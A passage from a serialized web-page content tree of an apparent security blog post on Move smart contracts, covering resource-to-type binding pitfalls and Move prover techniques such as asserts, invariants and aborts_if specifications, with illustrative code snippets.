Oracle",{"type":23,"tag":134,"props":7032,"children":7033},{"style":179},[7034],{"type":28,"value":463},{"type":23,"tag":134,"props":7036,"children":7037},{"class":136,"line":185},[7038,7042,7047,7051,7056,7060,7065,7070,7075,7080],{"type":23,"tag":134,"props":7039,"children":7040},{"style":151},[7041],{"type":28,"value":227},{"type":23,"tag":134,"props":7043,"children":7044},{"style":162},[7045],{"type":28,"value":7046}," oracle",{"type":23,"tag":134,"props":7048,"children":7049},{"style":168},[7050],{"type":28,"value":171},{"type":23,"tag":134,"props":7052,"children":7053},{"style":162},[7054],{"type":28,"value":7055}," borrow_global_mut",{"type":23,"tag":134,"props":7057,"children":7058},{"style":179},[7059],{"type":28,"value":5262},{"type":23,"tag":134,"props":7061,"children":7062},{"style":597},[7063],{"type":28,"value":7064},"Oracle",{"type":23,"tag":134,"props":7066,"children":7067},{"style":179},[7068],{"type":28,"value":7069},">(",{"type":23,"tag":134,"props":7071,"children":7072},{"style":168},[7073],{"type":28,"value":7074},"@",{"type":23,"tag":134,"props":7076,"children":7077},{"style":162},[7078],{"type":28,"value":7079},"oracle",{"type":23,"tag":134,"props":7081,"children":7082},{"style":179},[7083],{"type":28,"value":1021},{"type":23,"tag":134,"props":7085,"children":7086},{"class":136,"line":221},[7087,7091,7096,7100,7105,7109,7114,7118,7123,7127,7132],{"type":23,"tag":134,"props":7088,"children":7089},{"style":151},[7090],{"type":28,"value":227},{"type":23,"tag":134,"props":7092,"children":7093},{"style":162},[7094],{"type":28,"value":7095}," price",{"type":23,"tag":134,"props":7097,"children":7098},{"style":168},[7099],{"type":28,"value":171},{"type":23,"tag":134,"props":7101,"children":7102},{"style":179},[7103],{"type":28,"value":7104}," table",{"type":23,"tag":134,"props":7106,"children":7107},{"style":168},[7108],{"type":28,"value":660},{"type":23,"tag":134,"props":7110,"children":7111},{"style":162},[7112],{"type":28,"value":7113},"borrow_mut_with_default",{"type":23,"tag":134,"props":7115,"children":7116},{"style":179},[7117],{"type":28,"value":5262},{"type":23,"tag":134,"props":7119,"children":7120},{"style":597},[7121],{"type":28,"value":7122},"TypeInfo",{"type":23,"tag":134,"props":7124,"children":7125},{"style":179},[7126],{"type":28,"value":242},{"type":23,"tag":134,"props":7128,"children":7129},{"style":597},[7130],{"type":28,"value":7131},"Decimal",{"type":23,"tag":134,"props":7133,"children":7134},{"style":179},[7135],{"type":28,"value":6046},{"type":23,"tag":134,"props":7137,"children":7138},{"class":136,"line":332},[7139,7144,7148,7152,7156],{"type":23,"tag":134,"props":7140,"children":7141},{"style":168},[7142],{"type":28,"value":7143},"            &",{"type":23,"tag":134,"props":7145,"children":7146},{"style":151},[7147],{"type":28,"value":914},{"type":23,"tag":134,"props":7149,"children":7150},{"style":162},[7151],{"type":28,"value":7046},{"type":23,"tag":134,"props":7153,"children":7154},{"style":168},[7155],{"type":28,"value":720},{"type":23,"tag":134,"props":7157,"children":7158},{"style":179},[7159],{"type":28,"value":7160},"prices,\n",{"type":23,"tag":134,"props":7162,"children":7163},{"class":136,"line":438},[7164,7169],{"type":23,"tag":134,"props":7165,"children":7166},{"style":162},[7167],{"type":28,"value":7168},"            type_info",{"type":23,"tag":134,"props":7170,"children":7171},{"style":179},[7172],{"type":28,"value":687},{"type":23,"tag":134,"props":7174,"children":7175},{"class":136,"line":466},[7176,7181,7185,7190],{"type":23,"tag":134,"props":7177,"children":7178},{"style":179},[7179],{"type":28,"value":7180},"            decimal",{"type":23,"tag":134,"props":7182,"children":7183},{"style":168},[7184],{"type":28,"value":660},{"type":23,"tag":134,"props":7186,"children":7187},{"style":264},[7188],{"type":28,"value":7189},"one",{"type":23,"tag":134,"props":7191,"children":7192},{"style":179},[7193],{"type":28,"value":7194},"()\n",{"type":23,"tag":134,"props":7196,"children":7197},{"class":136,"line":479},[7198],{"type":23,"tag":134,"props":7199,"children":7200},{"style":179},[7201],{"type":28,"value":7202},"        );\n",{"type":23,"tag":134,"props":7204,"children":7205},{"class":136,"line":497},[7206,7211],{"type":23,"tag":134,"props":7207,"children":7208},{"style":168},[7209],{"type":28,"value":7210},"        *",{"type":23,"tag":134,"props":7212,"children":7213},{"style":162},[7214],{"type":28,"value":7215},"price\n",{"type":23,"tag":134,"props":7217,"children":7218},{"class":136,"line":518},[7219],{"type":23,"tag":134,"props":7220,"children":7221},{"style":179},[7222],{"type":28,"value":533},{"type":23,"tag":24,"props":7224,"children":7225},{},[7226,7228,7233],{"type":28,"value":7227},"Type association feels like a proxy for the intended pattern -- associating resources with instances. It's very useful being able to store a reference to an ",{"type":23,"tag":55,"props":7229,"children":7230},{},[7231],{"type":28,"value":7232},"instance",{"type":28,"value":7234}," of another resource (which is possible in Diem style move).",{"type":23,"tag":24,"props":7236,"children":7237},{},[7238],{"type":28,"value":7239},"In summary, when using type systems to bind resources to each other, it's important to either",{"type":23,"tag":4890,"props":7241,"children":7242},{},[7243,7248],{"type":23,"tag":4894,"props":7244,"children":7245},{},[7246],{"type":28,"value":7247},"Have unique initializers for your resources",{"type":23,"tag":4894,"props":7249,"children":7250},{},[7251],{"type":28,"value":7252},"Associate resources with instances directly",{"type":23,"tag":61,"props":7254,"children":7256},{"id":7255},"formal-verification",[7257],{"type":28,"value":7258},"Formal Verification",{"type":23,"tag":24,"props":7260,"children":7261},{},[7262],{"type":28,"value":7263},"Formal verification is another exciting feature.",{"type":23,"tag":24,"props":7265,"children":7266},{},[7267],{"type":28,"value":7268},"As part of our work with protocols, we actively use formal verification to prove aspects of security.",{"type":23,"tag":24,"props":7270,"children":7271},{},[7272,7274,7279],{"type":28,"value":7273},"However, this isn't a silver bullet. The key is figuring out ",{"type":23,"tag":55,"props":7275,"children":7276},{},[7277],{"type":28,"value":7278},"what",{"type":28,"value":7280}," to prove.",{"type":23,"tag":24,"props":7282,"children":7283},{},[7284,7286,7293],{"type":28,"value":7285},"One obvious idea might be a properties across a particular function. For example, we might want to ensure that a swap doesn't reduce the value of the pool -- similar to the ",{"type":23,"tag":31,"props":7287,"children":7290},{"href":7288,"rel":7289},"https://osec.io/blog/reports/2022-04-26-spl-swap-rounding/",[35],[7291],{"type":28,"value":7292},"Solana AMM rounding issue",{"type":28,"value":7294}," we reported.",{"type":23,"tag":24,"props":7296,"children":7297},{},[7298],{"type":28,"value":7299},"However, this could also be checked with a simple runtime assert. For example, we recommended Pontem assert that liquidity pool token values are strictly increasing.",{"type":23,"tag":87,"props":7301,"children":7303},{"className":128,"code":7302,"language":127,"meta":7,"style":7},"  let cmp = u256::compare(&lp_value_after_swap_and_fee, &lp_value_before_swap_u256);\n  assert!(cmp == 2, ERR_INCORRECT_SWAP);\n",[7304],{"type":23,"tag":92,"props":7305,"children":7306},{"__ignoreMap":7},[7307,7368],{"type":23,"tag":134,"props":7308,"children":7309},{"class":136,"line":137},[7310,7315,7320,7324,7329,7333,7338,7342,7346,7351,7355,7359,7364],{"type":23,"tag":134,"props":7311,"children":7312},{"style":151},[7313],{"type":28,"value":7314},"  let",{"type":23,"tag":134,"props":7316,"children":7317},{"style":162},[7318],{"type":28,"value":7319}," cmp",{"type":23,"tag":134,"props":7321,"children":7322},{"style":168},[7323],{"type":28,"value":171},{"type":23,"tag":134,"props":7325,"children":7326},{"style":179},[7327],{"type":28,"value":7328}," u256",{"type":23,"tag":134,"props":7330,"children":7331},{"style":168},[7332],{"type":28,"value":660},{"type":23,"tag":134,"props":7334,"children":7335},{"style":264},[7336],{"type":28,"value":7337},"compare",{"type":23,"tag":134,"props":7339,"children":7340},{"style":179},[7341],{"type":28,"value":272},{"type":23,"tag":134,"props":7343,"children":7344},{"style":168},[7345],{"type":28,"value":277},{"type":23,"tag":134,"props":7347,"children":7348},{"style":162},[7349],{"type":28,"value":7350},"lp_value_after_swap_and_fee",{"type":23,"tag":134,"props":7352,"children":7353},{"style":179},[7354],{"type":28,"value":242},{"type":23,"tag":134,"props":7356,"children":7357},{"style":168},[7358],{"type":28,"value":277},{"type":23,"tag":134,"props":7360,"children":7361},{"style":162},[7362],{"type":28,"value":7363},"lp_value_before_swap_u256",{"type":23,"tag":134,"props":7365,"children":7366},{"style":179},[7367],{"type":28,"value":1021},{"type":23,"tag":134,"props":7369,"children":7370},{"class":136,"line":147},[7371,7376,7380,7385,7389,7394],{"type":23,"tag":134,"props":7372,"children":7373},{"style":264},[7374],{"type":28,"value":7375},"  assert!",{"type":23,"tag":134,"props":7377,"children":7378},{"style":179},[7379],{"type":28,"value":272},{"type":23,"tag":134,"props":7381,"children":7382},{"style":162},[7383],{"type":28,"value":7384},"cmp",{"type":23,"tag":134,"props":7386,"children":7387},{"style":168},[7388],{"type":28,"value":454},{"type":23,"tag":134,"props":7390,"children":7391},{"style":205},[7392],{"type":28,"value":7393}," 2",{"type":23,"tag":134,"props":7395,"children":7396},{"style":179},[7397],{"type":28,"value":7398},", ERR_INCORRECT_SWAP);\n",{"type":23,"tag":24,"props":7400,"children":7401},{},[7402,7404,7409],{"type":28,"value":7403},"The move prover really shines when we're proving relationships ",{"type":23,"tag":55,"props":7405,"children":7406},{},[7407],{"type":28,"value":7408},"between",{"type":28,"value":7410}," functions.",{"type":23,"tag":24,"props":7412,"children":7413},{},[7414,7416,7422],{"type":28,"value":7415},"One example of a more complicated relationship that can't be proved easily via assertions would be the ",{"type":23,"tag":92,"props":7417,"children":7419},{"className":7418},[],[7420],{"type":28,"value":7421},"no_free_money_theorem",{"type":28,"value":7423}," in the move repository.",{"type":23,"tag":87,"props":7425,"children":7427},{"className":128,"code":7426,"language":127,"meta":7,"style":7},"  // #[test] // TODO: cannot specify the test-only functions\n  fun no_free_money_theorem(coin1_in: u64, coin2_in: u64): (u64, u64) acquires Pool {\n      let share = add_liquidity(coin1_in, coin2_in);\n      remove_liquidity(share)\n  }\n  spec no_free_money_theorem {\n      pragma verify=false;\n      ensures result_1 \u003C= coin1_in;\n      ensures result_2 \u003C= coin2_in;\n  }\n",[7428],{"type":23,"tag":92,"props":7429,"children":7430},{"__ignoreMap":7},[7431,7439,7527,7569,7590,7597,7613,7639,7666,7691],{"type":23,"tag":134,"props":7432,"children":7433},{"class":136,"line":137},[7434],{"type":23,"tag":134,"props":7435,"children":7436},{"style":141},[7437],{"type":28,"value":7438},"  // #[test] // TODO: cannot specify the test-only functions\n",{"type":23,"tag":134,"props":7440,"children":7441},{"class":136,"line":147},[7442,7446,7451,7455,7460,7464,7468,7472,7477,7481,7485,7489,7493,7497,7502,7506,7510,7514,7518,7523],{"type":23,"tag":134,"props":7443,"children":7444},{"style":162},[7445],{"type":28,"value":6027},{"type":23,"tag":134,"props":7447,"children":7448},{"style":264},[7449],{"type":28,"value":7450}," no_free_money_theorem",{"type":23,"tag":134,"props":7452,"children":7453},{"style":179},[7454],{"type":28,"value":272},{"type":23,"tag":134,"props":7456,"children":7457},{"style":162},[7458],{"type":28,"value":7459},"coin1_in",{"type":23,"tag":134,"props":7461,"children":7462},{"style":168},[7463],{"type":28,"value":1697},{"type":23,"tag":134,"props":7465,"children":7466},{"style":597},[7467],{"type":28,"value":5316},{"type":23,"tag":134,"props":7469,"children":7470},{"style":179},[7471],{"type":28,"value":242},{"type":23,"tag":134,"props":7473,"children":7474},{"style":162},[7475],{"type":28,"value":7476},"coin2_in",{"type":23,"tag":134,"props":7478,"children":7479},{"style":168},[7480],{"type":28,"value":1697},{"type":23,"tag":134,"props":7482,"children":7483},{"style":597},[7484],{"type":28,"value":5316},{"type":23,"tag":134,"props":7486,"children":7487},{"style":179},[7488],{"type":28,"value":296},{"type":23,"tag":134,"props":7490,"children":7491},{"style":168},[7492],{"type":28,"value":1697},{"type":23,"tag":134,"props":7494,"children":7495},{"style":179},[7496],{"type":28,"value":232},{"type":23,"tag":134,"props":7498,"children":7499},{"style":597},[7500],{"type":28,"value":7501},"u64",{"type":23,"tag":134,"props":7503,"children":7504},{"style":179},[7505],{"type":28,"value":242},{"type":23,"tag":134,"props":7507,"children":7508},{"style":597},[7509],{"type":28,"value":7501},{"type":23,"tag":134,"props":7511,"children":7512},{"style":179},[7513],{"type":28,"value":252},{"type":23,"tag":134,"props":7515,"children":7516},{"style":162},[7517],{"type":28,"value":5801},{"type":23,"tag":134,"props":7519,"children":7520},{"style":597},[7521],{"type":28,"value":7522}," Pool",{"type":23,"tag":134,"props":7524,"children":7525},{"style":179},[7526],{"type":28,"value":463},{"type":23,"tag":134,"props":7528,"children":7529},{"class":136,"line":185},[7530,7535,7540,7544,7549,7553,7557,7561,7565],{"type":23,"tag":134,"props":7531,"children":7532},{"style":151},[7533],{"type":28,"value":7534},"      let",{"type":23,"tag":134,"props":7536,"children":7537},{"style":162},[7538],{"type":28,"value":7539}," share",{"type":23,"tag":134,"props":7541,"children":7542},{"style":168},[7543],{"type":28,"value":171},{"type":23,"tag":134,"props":7545,"children":7546},{"style":264},[7547],{"type":28,"value":7548}," add_liquidity",{"type":23,"tag":134,"props":7550,"children":7551},{"style":179},[7552],{"type":28,"value":272},{"type":23,"tag":134,"props":7554,"children":7555},{"style":162},[7556],{"type":28,"value":7459},{"type":23,"tag":134,"props":7558,"children":7559},{"style":179},[7560],{"type":28,"value":242},{"type":23,"tag":134,"props":7562,"children":7563},{"style":162},[7564],{"type":28,"value":7476},{"type":23,"tag":134,"props":7566,"children":7567},{"style":179},[7568],{"type":28,"value":1021},{"type":23,"tag":134,"props":7570,"children":7571},{"class":136,"line":221},[7572,7577,7581,7586],{"type":23,"tag":134,"props":7573,"children":7574},{"style":264},[7575],{"type":28,"value":7576},"      remove_liquidity",{"type":23,"tag":134,"props":7578,"children":7579},{"style":179},[7580],{"type":28,"value":272},{"type":23,"tag":134,"props":7582,"children":7583},{"style":162},[7584],{"type":28,"value":7585},"share",{"type":23,"tag":134,"props":7587,"children":7588},{"style":179},[7589],{"type":28,"value":329},{"type":23,"tag":134,"props":7591,"children":7592},{"class":136,"line":332},[7593],{"type":23,"tag":134,"props":7594,"children":7595},{"style":179},[7596],{"type":28,"value":5328},{"type":23,"tag":134,"props":7598,"children":7599},{"class":136,"line":438},[7600,7605,7609],{"type":23,"tag":134,"props":7601,"children":7602},{"style":162},[7603],{"type":28,"value":7604},"  spec",{"type":23,"tag":134,"props":7606,"children":7607},{"style":162},[7608],{"type":28,"value":7450},{"type":23,"tag":134,"props":7610,"children":7611},{"style":179},[7612],{"type":28,"value":463},{"type":23,"tag":134,"props":7614,"children":7615},{"class":136,"line":466},[7616,7621,7626,7630,7635],{"type":23,"tag":134,"props":7617,"children":7618},{"style":162},[7619],{"type":28,"value":7620},"      pragma",{"type":23,"tag":134,"props":7622,"children":7623},{"style":162},[7624],{"type":28,"value":7625}," verify",{"type":23,"tag":134,"props":7627,"children":7628},{"style":168},[7629],{"type":28,"value":257},{"type":23,"tag":134,"props":7631,"children":7632},{"style":151},[7633],{"type":28,"value":7634},"false",{"type":23,"tag":134,"props":7636,"children":7637},{"style":179},[7638],{"type":28,"value":182},{"type":23,"tag":134,"props":7640,"children":7641},{"class":136,"line":479},[7642,7647,7652,7657,7662],{"type":23,"tag":134,"props":7643,"children":7644},{"style":162},[7645],{"type":28,"value":7646},"      ensures",{"type":23,"tag":134,"props":7648,"children":7649},{"style":162},[7650],{"type":28,"value":7651}," result_1",{"type":23,"tag":134,"props":7653,"children":7654},{"style":168},[7655],{"type":28,"value":7656}," \u003C=",{"type":23,"tag":134,"props":7658,"children":7659},{"style":162},[7660],{"type":28,"value":7661}," coin1_in",{"type":23,"tag":134,"props":7663,"children":7664},{"style":179},[7665],{"type":28,"value":182},{"type":23,"tag":134,"props":7667,"children":7668},{"class":136,"line":497},[7669,7673,7678,7682,7687],{"type":23,"tag":134,"props":7670,"children":7671},{"style":162},[7672],{"type":28,"value":7646},{"type":23,"tag":134,"props":7674,"children":7675},{"style":162},[7676],{"type":28,"value":7677}," result_2",{"type":23,"tag":134,"props":7679,"children":7680},{"style":168},[7681],{"type":28,"value":7656},{"type":23,"tag":134,"props":7683,"children":7684},{"style":162},[7685],{"type":28,"value":7686}," coin2_in",{"type":23,"tag":134,"props":7688,"children":7689},{"style":179},[7690],{"type":28,"value":182},{"type":23,"tag":134,"props":7692,"children":7693},{"class":136,"line":518},[7694],{"type":23,"tag":134,"props":7695,"children":7696},{"style":179},[7697],{"type":28,"value":5328},{"type":23,"tag":24,"props":7699,"children":7700},{},[7701],{"type":28,"value":7702},"There's no clean way to express this with an assert because this makes an observation across two functions which are temporally separated.",{"type":23,"tag":24,"props":7704,"children":7705},{},[7706,7708,7713],{"type":28,"value":7707},"Invariant's are also extremely useful. For example, enforcing invariants about fee parameters (fee can never be greater than 100%) or pool supply makes it a ",{"type":23,"tag":55,"props":7709,"children":7710},{},[7711],{"type":28,"value":7712},"lot",{"type":28,"value":7714}," easier to reason about the protocol.",{"type":23,"tag":24,"props":7716,"children":7717},{},[7718],{"type":28,"value":7719},"For example, Ian uses invariants to clearly define core properties of his AMM state.",{"type":23,"tag":87,"props":7721,"children":7723},{"className":128,"code":7722,"language":127,"meta":7,"style":7},"spec PoolState {\n    invariant supply >= MINIMUM_LIQUIDITY;\n}\n",[7724],{"type":23,"tag":92,"props":7725,"children":7726},{"__ignoreMap":7},[7727,7744,7767],{"type":23,"tag":134,"props":7728,"children":7729},{"class":136,"line":137},[7730,7735,7740],{"type":23,"tag":134,"props":7731,"children":7732},{"style":162},[7733],{"type":28,"value":7734},"spec",{"type":23,"tag":134,"props":7736,"children":7737},{"style":597},[7738],{"type":28,"value":7739}," PoolState",{"type":23,"tag":134,"props":7741,"children":7742},{"style":179},[7743],{"type":28,"value":463},{"type":23,"tag":134,"props":7745,"children":7746},{"class":136,"line":147},[7747,7752,7757,7762],{"type":23,"tag":134,"props":7748,"children":7749},{"style":162},[7750],{"type":28,"value":7751},"    invariant",{"type":23,"tag":134,"props":7753,"children":7754},{"style":162},[7755],{"type":28,"value":7756}," supply",{"type":23,"tag":134,"props":7758,"children":7759},{"style":168},[7760],{"type":28,"value":7761}," >=",{"type":23,"tag":134,"props":7763,"children":7764},{"style":179},[7765],{"type":28,"value":7766}," MINIMUM_LIQUIDITY;\n",{"type":23,"tag":134,"props":7768,"children":7769},{"class":136,"line":185},[7770],{"type":23,"tag":134,"props":7771,"children":7772},{"style":179},[7773],{"type":28,"value":1098},{"type":23,"tag":24,"props":7775,"children":7776},{},[7777,7779,7785,7787,7793],{"type":28,"value":7778},"Another useful pattern for the Move prover is ",{"type":23,"tag":92,"props":7780,"children":7782},{"className":7781},[],[7783],{"type":28,"value":7784},"aborts_if",{"type":28,"value":7786},". More specifically, it can be very helpful to assert that a function never aborts, with ",{"type":23,"tag":92,"props":7788,"children":7790},{"className":7789},[],[7791],{"type":28,"value":7792},"aborts_if false",{"type":28,"value":720},{"type":23,"tag":24,"props":7795,"children":7796},{},[7797],{"type":28,"value":7798},"Although loop invariants are a bit clunky, Ian is also able to prove that a relatively nontrivial function doesn't abort.",{"type":23,"tag":87,"props":7800,"children":7802},{"className":128,"code":7801,"language":127,"meta":7,"style":7},"  fun multiply_vec_by_n_coins(input: vector\u003Cu64>): vector\u003Cu128> {\n      let amounts_times_coins = vector::empty\u003Cu128>();\n      let i = 0;\n      let n_coins = vector::length(&input);\n      while ({\n          spec {\n              invariant len(amounts_times_coins) == i;\n              invariant i \u003C= n_coins;\n              invariant forall j in 0..i: amounts_times_coins[j] == input[j] * n_coins;\n          };\n          (i \u003C n_coins)\n      }) {\n          vector::push_back(\n              &mut amounts_times_coins,\n              (*vector::borrow(&input, (i as u64)) as u128) * (n_coins as u128)\n          );\n          i = i + 1;\n      };\n      spec {\n          assert i == n_coins;\n          assert len(input) == n_coins;\n      };\n      amounts_times_coins\n  }\n  spec multiply_vec_by_n_coins {\n      pragma opaque;\n      aborts_if false;\n      ensures len(result) == len(input);\n      ensures forall j in 0..len(input): result[j] == input[j] * len(input);\n  }\n",[7803],{"type":23,"tag":92,"props":7804,"children":7805},{"__ignoreMap":7},[7806,7870,7912,7935,7980,7993,8005,8044,8067,8155,8163,8188,8196,8217,8237,8337,8345,8374,8382,8394,8418,8453,8460,8468,8475,8490,8506,8524,8569,8675],{"type":23,"tag":134,"props":7807,"children":7808},{"class":136,"line":137},[7809,7813,7818,7822,7827,7831,7836,7840,7844,7849,7853,7857,7861,7866],{"type":23,"tag":134,"props":7810,"children":7811},{"style":162},[7812],{"type":28,"value":6027},{"type":23,"tag":134,"props":7814,"children":7815},{"style":264},[7816],{"type":28,"value":7817}," multiply_vec_by_n_coins",{"type":23,"tag":134,"props":7819,"children":7820},{"style":179},[7821],{"type":28,"value":272},{"type":23,"tag":134,"props":7823,"children":7824},{"style":162},[7825],{"type":28,"value":7826},"input",{"type":23,"tag":134,"props":7828,"children":7829},{"style":168},[7830],{"type":28,"value":1697},{"type":23,"tag":134,"props":7832,"children":7833},{"style":162},[7834],{"type":28,"value":7835}," vector",{"type":23,"tag":134,"props":7837,"children":7838},{"style":179},[7839],{"type":28,"value":5262},{"type":23,"tag":134,"props":7841,"children":7842},{"style":597},[7843],{"type":28,"value":7501},{"type":23,"tag":134,"props":7845,"children":7846},{"style":179},[7847],{"type":28,"value":7848},">)",{"type":23,"tag":134,"props":7850,"children":7851},{"style":168},[7852],{"type":28,"value":1697},{"type":23,"tag":134,"props":7854,"children":7855},{"style":162},[7856],{"type":28,"value":7835},{"type":23,"tag":134,"props":7858,"children":7859},{"style":179},[7860],{"type":28,"value":5262},{"type":23,"tag":134,"props":7862,"children":7863},{"style":597},[7864],{"type":28,"value":7865},"u128",{"type":23,"tag":134,"props":7867,"children":7868},{"style":179},[7869],{"type":28,"value":6739},{"type":23,"tag":134,"props":7871,"children":7872},{"class":136,"line":147},[7873,7877,7882,7886,7890,7894,7899,7903,7907],{"type":23,"tag":134,"props":7874,"children":7875},{"style":151},[7876],{"type":28,"value":7534},{"type":23,"tag":134,"props":7878,"children":7879},{"style":162},[7880],{"type":28,"value":7881}," amounts_times_coins",{"type":23,"tag":134,"props":7883,"children":7884},{"style":168},[7885],{"type":28,"value":171},{"type":23,"tag":134,"props":7887,"children":7888},{"style":179},[7889],{"type":28,"value":7835},{"type":23,"tag":134,"props":7891,"children":7892},{"style":168},[7893],{"type":28,"value":660},{"type":23,"tag":134,"props":7895,"children":7896},{"style":162},[7897],{"type":28,"value":7898},"empty",{"type":23,"tag":134,"props":7900,"children":7901},{"style":179},[7902],{"type":28,"value":5262},{"type":23,"tag":134,"props":7904,"children":7905},{"style":597},[7906],{"type":28,"value":7865},{"type":23,"tag":134,"props":7908,"children":7909},{"style":179},[7910],{"type":28,"value":7911},">();\n",{"type":23,"tag":134,"props":7913,"children":7914},{"class":136,"line":185},[7915,7919,7923,7927,7931],{"type":23,"tag":134,"props":7916,"children":7917},{"style":151},[7918],{"type":28,"value":7534},{"type":23,"tag":134,"props":7920,"children":7921},{"style":162},[7922],{"type":28,"value":576},{"type":23,"tag":134,"props":7924,"children":7925},{"style":168},[7926],{"type":28,"value":171},{"type":23,"tag":134,"props":7928,"children":7929},{"style":205},[7930],{"type":28,"value":208},{"type":23,"tag":134,"props":7932,"children":7933},{"style":179},[7934],{"type":28,"value":182},{"type":23,"tag":134,"props":7936,"children":7937},{"class":136,"line":221},[7938,7942,7947,7951,7955,7959,7964,7968,7972,7976],{"type":23,"tag":134,"props":7939,"children":7940},{"style":151},[7941],{"type":28,"value":7534},{"type":23,"tag":134,"props":7943,"children":7944},{"style":162},[7945],{"type":28,"value":7946}," n_coins",{"type":23,"tag":134,"props":7948,"children":7949},{"style":168},[7950],{"type":28,"value":171},{"type":23,"tag":134,"props":7952,"children":7953},{"style":179},[7954],{"type":28,"value":7835},{"type":23,"tag":134,"props":7956,"children":7957},{"style":168},[7958],{"type":28,"value":660},{"type":23,"tag":134,"props":7960,"children":7961},{"style":264},[7962],{"type":28,"value":7963},"length",{"type":23,"tag":134,"props":7965,"children":7966},{"style":179},[7967],{"type":28,"value":272},{"type":23,"tag":134,"props":7969,"children":7970},{"style":168},[7971],{"type":28,"value":277},{"type":23,"tag":134,"props":7973,"children":7974},{"style":162},[7975],{"type":28,"value":7826},{"type":23,"tag":134,"props":7977,"children":7978},{"style":179},[7979],{"type":28,"value":1021},{"type":23,"tag":134,"props":7981,"children":7982},{"class":136,"line":332},[7983,7988],{"type":23,"tag":134,"props":7984,"children":7985},{"style":189},[7986],{"type":28,"value":7987},"      while",{"type":23,"tag":134,"props":7989,"children":7990},{"style":179},[7991],{"type":28,"value":7992}," ({\n",{"type":23,"tag":134,"props":7994,"children":7995},{"class":136,"line":438},[7996,8001],{"type":23,"tag":134,"props":7997,"children":7998},{"style":162},[7999],{"type":28,"value":8000},"          spec",{"type":23,"tag":134,"props":8002,"children":8003},{"style":179},[8004],{"type":28,"value":463},{"type":23,"tag":134,"props":8006,"children":8007},{"class":136,"line":466},[8008,8013,8018,8022,8027,8031,8036,8040],{"type":23,"tag":134,"props":8009,"children":8010},{"style":162},[8011],{"type":28,"value":8012},"              invariant",{"type":23,"tag":134,"props":8014,"children":8015},{"style":264},[8016],{"type":28,"value":8017}," len",{"type":23,"tag":134,"props":8019,"children":8020},{"style":179},[8021],{"type":28,"value":272},{"type":23,"tag":134,"props":8023,"children":8024},{"style":162},[8025],{"type":28,"value":8026},"amounts_times_coins",{"type":23,"tag":134,"props":8028,"children":8029},{"style":179},[8030],{"type":28,"value":252},{"type":23,"tag":134,"props":8032,"children":8033},{"style":168},[8034],{"type":28,"value":8035},"==",{"type":23,"tag":134,"props":8037,"children":8038},{"style":162},[8039],{"type":28,"value":576},{"type":23,"tag":134,"props":8041,"children":8042},{"style":179},[8043],{"type":28,"value":182},{"type":23,"tag":134,"props":8045,"children":8046},{"class":136,"line":479},[8047,8051,8055,8059,8063],{"type":23,"tag":134,"props":8048,"children":8049},{"style":162},[8050],{"type":28,"value":8012},{"type":23,"tag":134,"props":8052,"children":8053},{"style":162},[8054],{"type":28,"value":576},{"type":23,"tag":134,"props":8056,"children":8057},{"style":168},[8058],{"type":28,"value":7656},{"type":23,"tag":134,"props":8060,"children":8061},{"style":162},[8062],{"type":28,"value":7946},{"type":23,"tag":134,"props":8064,"children":8065},{"style":179},[8066],{"type":28,"value":182},{"type":23,"tag":134,"props":8068,"children":8069},{"class":136,"line":497},[8070,8074,8079,8084,8088,8092,8096,8100,8104,8108,8112,8117,8122,8126,8131,8135,8139,8143,8147,8151],{"type":23,"tag":134,"props":8071,"children":8072},{"style":162},[8073],{"type":28,"value":8012},{"type":23,"tag":134,"props":8075,"children":8076},{"style":162},[8077],{"type":28,"value":8078}," forall",{"type":23,"tag":134,"props":8080,"children":8081},{"style":162},[8082],{"type":28,"value":8083}," j",{"type":23,"tag":134,"props":8085,"children":8086},{"style":151},[8087],{"type":28,"value":202},{"type":23,"tag":134,"props":8089,"children":8090},{"style":205},[8091],{"type":28,"value":208},{"type":23,"tag":134,"props":8093,"children":8094},{"style":168},[8095],{"type":28,"value":213},{"type":23,"tag":134,"props":8097,"children":8098},{"style":162},[8099],{"type":28,"value":929},{"type":23,"tag":134,"props":8101,"children":8102},{"style":168},[8103],{"type":28,"value":1697},{"type":23,"tag":134,"props":8105,"children":8106},{"style":162},[8107],{"type":28,"value":7881},{"type":23,"tag":134,"props":8109,"children":8110},{"style":179},[8111],{"type":28,"value":924},{"type":23,"tag":134,"props":8113,"children":8114},{"style":162},[8115],{"type":28,"value":8116},"j",{"type":23,"tag":134,"props":8118,"children":8119},{"style":179},[8120],{"type":28,"value":8121},"] ",{"type":23,"tag":134,"props":8123,"children":8124},{"style":168},[8125],{"type":28,"value":8035},{"type":23,"tag":134,"props":8127,"children":8128},{"style":162},[8129],{"type":28,"value":8130}," input",{"type":23,"tag":134,"props":8132,"children":8133},{"style":179},[8134],{"type":28,"value":924},{"type":23,"tag":134,"props":8136,"children":8137},{"style":162},[8138],{"type":28,"value":8116},{"type":23,"tag":134,"props":8140,"children":8141},{"style":179},[8142],{"type":28,"value":8121},{"type":23,"tag":134,"props":8144,"children":8145},{"style":168},[8146],{"type":28,"value":1777},{"type":23,"tag":134,"props":8148,"children":8149},{"style":162},[8150],{"type":28,"value":7946},{"type":23,"tag":134,"props":8152,"children":8153},{"style":179},[8154],{"type":28,"value":182},{"type":23,"tag":134,"props":8156,"children":8157},{"class":136,"line":518},[8158],{"type":23,"tag":134,"props":8159,"children":8160},{"style":179},[8161],{"type":28,"value":8162},"          };\n",{"type":23,"tag":134,"props":8164,"children":8165},{"class":136,"line":527},[8166,8171,8175,8180,8184],{"type":23,"tag":134,"props":8167,"children":8168},{"style":179},[8169],{"type":28,"value":8170},"          (",{"type":23,"tag":134,"props":8172,"children":8173},{"style":162},[8174],{"type":28,"value":929},{"type":23,"tag":134,"props":8176,"children":8177},{"style":168},[8178],{"type":28,"value":8179}," \u003C",{"type":23,"tag":134,"props":8181,"children":8182},{"style":162},[8183],{"type":28,"value":7946},{"type":23,"tag":134,"props":8185,"children":8186},{"style":179},[8187],{"type":28,"value":329},{"type":23,"tag":134,"props":8189,"children":8190},{"class":136,"line":780},[8191],{"type":23,"tag":134,"props":8192,"children":8193},{"style":179},[8194],{"type":28,"value":8195},"      }) {\n",{"type":23,"tag":134,"props":8197,"children":8198},{"class":136,"line":797},[8199,8204,8208,8213],{"type":23,"tag":134,"props":8200,"children":8201},{"style":179},[8202],{"type":28,"value":8203},"          